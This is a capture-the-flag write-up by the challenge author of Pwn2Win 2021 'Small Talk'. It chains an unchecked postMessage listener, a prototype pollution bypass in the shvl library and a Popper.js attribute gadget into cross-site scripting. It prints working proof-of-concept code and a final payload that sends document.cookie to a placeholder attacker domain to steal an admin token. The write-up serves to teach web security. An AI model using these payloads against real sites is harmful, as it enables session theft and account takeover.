Pwn2win 2021 Small Talk: Write-Up

From a race condition in postMessage to prototype pollution. In this writeup, I will explain how to abuse a wrong fix in the shvl library to achive XSS using Popper.js and solve the “Small talk” challenge in Pwn2Win 2021.

Challenge

Description: Take a little break in your journey, read some of our extravagant knowledgement to become your best version…

…and, of course, share your sentences with us.

Solves: 16

Source Code: https://github.com/vrechson/challenges/tree/master/pwn2win/2021/web-Small-Talk/deploy

Note Congratz to More Smoked Leet Chicken for the first blood and everyone who has solved this challenge, hope you had fun.

Challenge Overview

There are not many elements on the challenge page besides a form and a big sentence in the body expressing the most confident thoughts of the present. After some page loads, it is also possible to see that this sentence changes on every page refresh.

The first clue that this is a client-side challenge is the existence of a form to submit an address for the administrator to review. So the next step is to take a look at the page’s source code.

Challenge Page

Solving the challenge

Looking at the page’s code, the content of the script tag should grab the user attention, especially where it defines an eventListener, which makes no source domain checks. Then, the library shvl parses the message and puts its content into a quote Object, whose content will be safely put on the web page. At the end of the execution, the library Popper.js is initialized to display a pretty tooltip when the user hovers the send button.

const button = document.querySelector('#send-button');
const tooltip = document.querySelector('#send-tooltip');
const message = document.querySelector('#quote');

window.addEventListener('message', function setup(e) {
    window.removeEventListener('message', setup);
    quote = {'author': '', 'message': ''}
    shvl.set(quote, Object.keys(JSON.parse(e.data))[0], Object.values(JSON.parse(e.data))[0]);
    shvl.set(quote, Object.keys(JSON.parse(e.data))[1], Object.values(JSON.parse(e.data))[1]);
    
    message.textContent = Object.values(quote)[1] + ' — ' + Object.values(quote)[0]

    const popperInstance = Popper.createPopper(button, tooltip, {
        placement: 'bottom',
        modifiers: [
            {
            name: 'offset',
            options: {
                offset: [0, 8],
            },
            },
        ],
    });
});

Looking a bit more at the source code it is also possible to identify that this message is intended to come from an iframe that chooses a random coach sentence and sends it through postMessage.

<!-- https://small-talk.coach:1337/ -->
<iframe id='#quote-base' src="/quotes"></iframe>

<!-- https://small-talk.coach:1337/quotes -->
<script>
    phrases = [
        {'@entrepreneur': 'The distance between your DREAMS and REALITY is called ACTION'},
        {'@successman': 'MOTIVATION is what gets you started, HABIT is what keeps you going'},
        {'@bornrich': 'It\'s hard to beat someone that never gives up'},
        {'@businessman': 'Work while they sleep. Then live like they dream'},
        {'@bigboss': 'Life begins at the end of your comfort zone'},
        {'@daytrader': 'A successfull person never loses... They either win or learn!'}
    ]

    setTimeout(function(){
        index = Math.floor(Math.random() * 6)
        parent.postMessage('{"author": "' + Object.keys(phrases[index])[0] + '", "message": "' + Object.values(phrases[index])[0] + '"}', '*');
    }, 0)
</script>

So, the challenge can be described as the following flow:

  1. An iframe is loaded and sends a postMessage with a random sentence to the parent page;
  2. Parent page parses the message into an object using shvl library;
  3. That object’s content is safely put on the web page;
  4. Popper.js is initialized.

In this steps, the only input an attacker could control is the message from eventListener since it is not validating the domain source, however we will come to this later. Once shvl parses this input, lets take a look at how it works and if there is any known issue. Actually, a fast google search return lots of results informing about a prototype pollution vulnerability in early versions of this library. The only problem that remains is that this vulnerability is fixed in the last version of the library, as shown by these lines:

<!-- it was <script src="https://unpkg.com/shvl@latest/dist/shvl.umd.js"></script> at the challenge time. -->
<script src="https://unpkg.com/shvl@2.0.3/dist/shvl.umd.js"></script>
// Content of https://unpkg.com/shvl@2.0.3/dist/shvl.umd.js unminified
return !/^(__proto__|constructor|prototype)$/.test(path) && ...

Looking deeper to this fix, we can see that the fix is implemented in this line: return !/^(__proto__|constructor|prototype)$/.test(e). Nevertheless, since this regex tests only for these specific keywords in the entire path, due to the presence of ^ and $ characters, an attacker still is able to enter prototype payloads such as __proto__.polluted and, therefore, this library still is vulnerable. The source code below shows this behavior:

quote = {}
obj = {}
shvl.set(quote, "__proto__.polluted", "oi");

if (obj.polluted)
    console.log("is polluted!")
else 
    console.log("is safe!")
    
// the message "is polluted!" is displayed in the last version of the library!

Ok, now we have prototype pollution in an input in our control, but how this can be abused to achieve XSS? Well, the answer is in this repository. To get XSS on a page vulnerable to prototype pollution, it is also necessary to find another piece of code or library on the page that modifies the DOM with its objects properties. Once its inserts into the DOM some parameter that we can pollute, we can manipulate what is going to be inserted (this is called gadget). The idea of this challenge came up when I heard @manoelt speaking about an old java deserialization challenge. In that challenge, CTF players received a page with an easily identifiable insecure deserialization code and were expected to find the gadget to exploit that vulnerability. I found that idea so amazing that I asked myself why not do the same using prototype pollution?

When the Popper initializes one instance, it calls the function Popper.createPopper. In this function, the following loop will set up each modifier:

let __debug_loops__ = 0;
for (let index = 0; index < state.orderedModifiers.length; index++) {
    if (__DEV__) {
        __debug_loops__ += 1;
        if (__debug_loops__ > 100) {
            console.error(INFINITE_LOOP_ERROR);
            break;
        }
    }

    if (state.reset === true) {
        state.reset = false;
        index = -1;
        continue;
    }

    const { fn, options = {}, name } = state.orderedModifiers[index];

    if (typeof fn === 'function') {
        state = fn({ state, options, name, instance }) || state;
    }
}

In this snippet, all modifiers are going to be called in the line state = fn({ state, options, name, instance }) || state;. One of them is applyStyles, which allow users to set custom attributes to the elements used by the Popper. These elements are passed by parameter to the createPopper and defined as state.elements Object in these lines:

): Instance {
    let state: $Shape<State> = {
        placement: 'bottom',
        orderedModifiers: [],
        options: { ...DEFAULT_OPTIONS, ...defaultOptions },
        modifiersData: {},
        elements: {
            reference,
            popper,
        },
        attributes: {},
        styles: {},
    };

When applyStyles function executes, it iterates over state.elements. Moreover, for any of them, it iterates again over its attributes! For any attribute with a value defined in the object, setAttribute is called and adds it to the final element in the DOM. Since createPopper received two elements reference (the button in which Popper is enrolled) and the Popper itself (a div), it is possible to insert properties into both elements by polluting Object.prototype.reference.property and Object.prototype.popper.property.

function applyStyles({ state }: ModifierArguments<{||}>) {
  // Iterate over reference and popper
  Object.keys(state.elements).forEach((name) => { 
    const style = state.styles[name] || {};

    const attributes = state.attributes[name] || {};
    const element = state.elements[name];

    ...

    // Iterate over its properties!
    Object.keys(attributes).forEach((name) => {
      const value = attributes[name];
      if (value === false) {
        element.removeAttribute(name);
      } else {
        // Set them as attributes if it exists
        element.setAttribute(name, value === true ? '' : value); 
      }
    });
  });
}

The following code should be enough to get XSS by combining the shvl prototype pollution and Popper.js applyStyles gadget by oppening it as /poc.html#send-button:

<!-- poc.html -->
<script src="https://unpkg.com/shvl@2.0.3/dist/shvl.umd.js"></script>
<script src="https://unpkg.com/@popperjs/core@2.9.2/dist/umd/popper.js"></script>

<button id="send-button" type="submit" class="ui-button text">send</button>
<div id="send-tooltip" class="tooltip" role="tooltip">

<script>
    obj = {}
    shvl.set(obj, "__proto__.reference.onfocus", "alert(document.domain)");

    const button = document.querySelector('#send-button');
    const tooltip = document.querySelector('#send-tooltip');

    const popperInstance = Popper.createPopper(button, tooltip, {
        placement: 'bottom',
        modifiers: [
            {
                name: 'offset',
                options: {
                    offset: [0, 8],
                },
            },
        ],
    });
</script>

This gadget is not so difficult to find out when debugging. Because of that, while talking to @k33r0k, discussing gadgets and how to make this challenge a bit harder, he proposed the implementation of a postMessage race condition to increase one step as there are many prototype pollution scanners available on the internet. And I made it.

In order to control what shvl would parse, we need to send a postMessage to the page before it receives the content from its inner iframe. The following code should do that (but may require refreshing the page if it looses the race):

<!-- thanks k33r0k -->
<iframe name="page" src="https://small-talk.coach/"></iframe>

<script>
    setInterval(function(){
        window.frames["page"].postMessage('{"author": "@vrechson", "message": "hack the planet!"}', '*');
    }, 0);
</script>

Combining all these steps, the player should be able to steal steal the admin token through the following payload:

<iframe name="page" style="height: 500px" src="https://small-talk.coach:1337/#send-button"></iframe>

<body><input id="my-input" autofocus></body>
<script>
    setInterval(function(){
        window.frames["page"].postMessage('{"__proto__.reference.onblur": "location=`https://your.domain/${document.cookie}`", "message": "hack the planet!"}', '*');
    }, 0);
</script>
<script>
    setInterval(function(){
        oi = document.querySelector('#my-input');
        oi.focus();
    }, 700)
</script>

After the CTF, I could see that some players solved it by using the pooper payload and that @s1r1us found a gadget using pooper.arrow!

I’d like to thank everyone from ELT and Pwn2win organization. I hope that everyone had fun playing this CTF!